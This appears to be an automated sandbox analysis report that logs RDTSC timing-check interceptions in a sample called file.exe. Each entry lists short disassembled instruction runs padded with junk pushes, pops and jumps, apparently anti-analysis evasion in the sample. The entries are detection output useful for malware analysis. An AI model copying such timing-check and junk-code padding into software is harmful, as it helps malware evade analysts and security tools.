Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AE845 second address: 10AE86F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F125h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1CE475F121h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AE86F second address: 10AE874 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AE874 second address: 10AE8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 jmp 00007F1CE475F120h 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F1CE475F11Eh 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AE8A2 second address: 10AE8AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AE8AA second address: 10AE8AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AE8AF second address: 10AE8B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AE8B7 second address: 10AE8BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AEB1A second address: 10AEB22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10AEEEA second address: 10AEF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1CE475F116h 0x0000000a jmp 00007F1CE475F11Fh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B7CBA second address: 10B7CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B7CC5 second address: 10B7CC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B6B6C second address: 10B6B72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B6D23 second address: 10B6D2D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1CE475F116h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B6FC9 second address: 10B6FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B7281 second address: 10B72AB instructions: 0x00000000 rdtsc 0x00000002 js 00007F1CE475F116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F1CE475F129h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B7548 second address: 10B7574 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1CE4D7C49Bh 0x00000008 jmp 00007F1CE4D7C4A3h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 jl 00007F1CE4D7C49Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10B76EB second address: 10B76F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jg 00007F1CE475F116h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BAF3F second address: 10BAF6E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F1CE4D7C49Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007F1CE4D7C498h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push esi 0x00000015 jmp 00007F1CE4D7C4A1h 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BA950 second address: 10BA95A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1CE475F116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BA95A second address: 10BA960 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BA960 second address: 10BA966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BA966 second address: 10BA96A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BA96A second address: 10BA998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1CE475F11Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f pop eax 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jns 00007F1CE475F11Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pop eax 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BA998 second address: 10BA99E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BAAFB second address: 10BAB0D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1CE475F118h 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F1CE475F116h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BC52E second address: 10BC532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BC532 second address: 10BC536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BC536 second address: 10BC569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1CE4D7C49Ch 0x0000000b jnp 00007F1CE4D7C4B5h 0x00000011 jmp 00007F1CE4D7C4A9h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1032651 second address: 1032656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1032656 second address: 1032678 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1CE4D7C498h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1CE4D7C4A3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BE4CC second address: 10BE4D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 js 00007F1CE475F116h 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BE4D8 second address: 10BE4DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BE4DE second address: 10BE4E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10BE4E2 second address: 10BE4FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F1CE4D7C49Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C0048 second address: 10C0066 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F1CE475F11Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F1CE475F116h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C0066 second address: 10C006A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C3DF7 second address: 10C3DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C3DFF second address: 10C3E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C3E03 second address: 10C3E07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102BBFB second address: 102BC06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F1CE4D7C496h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102BC06 second address: 102BC27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1CE475F128h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C3888 second address: 10C388C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C388C second address: 10C38A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F1CE475F116h 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 push ebx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop ebx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C7D53 second address: 10C7D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C7D5D second address: 10C7D7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jc 00007F1CE475F116h 0x00000010 jl 00007F1CE475F116h 0x00000016 jnp 00007F1CE475F116h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102F137 second address: 102F14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1CE4D7C49Ch 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102F14E second address: 102F152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102F152 second address: 102F158 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C703C second address: 10C7042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C7042 second address: 10C7048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C7048 second address: 10C7079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1CE475F128h 0x0000000c jmp 00007F1CE475F122h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C7079 second address: 10C707D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C71C4 second address: 10C71DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F1CE475F122h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C7325 second address: 10C7329 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C7329 second address: 10C732F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10C78A0 second address: 10C78E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1CE4D7C4A1h 0x00000009 pop edi 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F1CE4D7C4A0h 0x00000012 pop ecx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 jmp 00007F1CE4D7C49Dh 0x0000001c jnc 00007F1CE4D7C496h 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10CCD1F second address: 10CCD27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10CCD27 second address: 10CCD2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10CCD2C second address: 10CCD32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10CCD32 second address: 10CCD3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1CE4D7C496h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10CCFB8 second address: 10CCFD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1CE475F128h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10CCFD5 second address: 10CCFE1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1CE4D7C49Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10CD158 second address: 10CD15C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1070588 second address: 107059D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 107059D second address: 10705A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1070694 second address: 1070698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10CD44C second address: 10CD46A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jne 00007F1CE475F116h 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1CE475F11Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10CD46A second address: 10CD46E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10CD5DC second address: 10CD613 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1CE475F11Dh 0x0000000c jc 00007F1CE475F116h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jc 00007F1CE475F116h 0x0000001d jmp 00007F1CE475F122h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D531D second address: 10D5342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F1CE4D7C4B4h 0x0000000b jmp 00007F1CE4D7C4A8h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D3968 second address: 10D396E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D396E second address: 10D3978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F1CE4D7C496h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D3F02 second address: 10D3F08 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D49D4 second address: 10D49D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D49D9 second address: 10D4A1E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1CE475F11Ah 0x00000008 push edi 0x00000009 jmp 00007F1CE475F11Bh 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007F1CE475F11Bh 0x00000019 push esi 0x0000001a jmp 00007F1CE475F122h 0x0000001f pushad 0x00000020 popad 0x00000021 pop esi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 pop eax 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102322B second address: 102325C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1CE4D7C4A4h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F1CE4D7C4A5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D4D3B second address: 10D4D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 jc 00007F1CE475F13Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F1CE475F116h 0x00000014 jnc 00007F1CE475F116h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D4D55 second address: 10D4D60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10D4D60 second address: 10D4D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DD35B second address: 10DD372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1CE4D7C4A0h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DD372 second address: 10DD378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DD378 second address: 10DD380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DD65A second address: 10DD662 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DD662 second address: 10DD67A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1CE4D7C4A3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DD67A second address: 10DD680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DD7CA second address: 10DD7E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Dh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007F1CE4D7C49Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DD7E5 second address: 10DD7EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DD8FD second address: 10DD903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DD903 second address: 10DD907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DD907 second address: 10DD90B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DD90B second address: 10DD928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1CE475F124h 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10DDCEB second address: 10DDCEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E3969 second address: 10E398E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F124h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push ecx 0x0000000d push edi 0x0000000e jnc 00007F1CE475F116h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E3E89 second address: 10E3EB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A3h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F1CE4D7C496h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E3EB1 second address: 10E3EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E3EB5 second address: 10E3EDC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1CE4D7C496h 0x00000008 jmp 00007F1CE4D7C4A3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnp 00007F1CE4D7C49Eh 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E4184 second address: 10E418A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E418A second address: 10E418E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10E34FF second address: 10E3504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
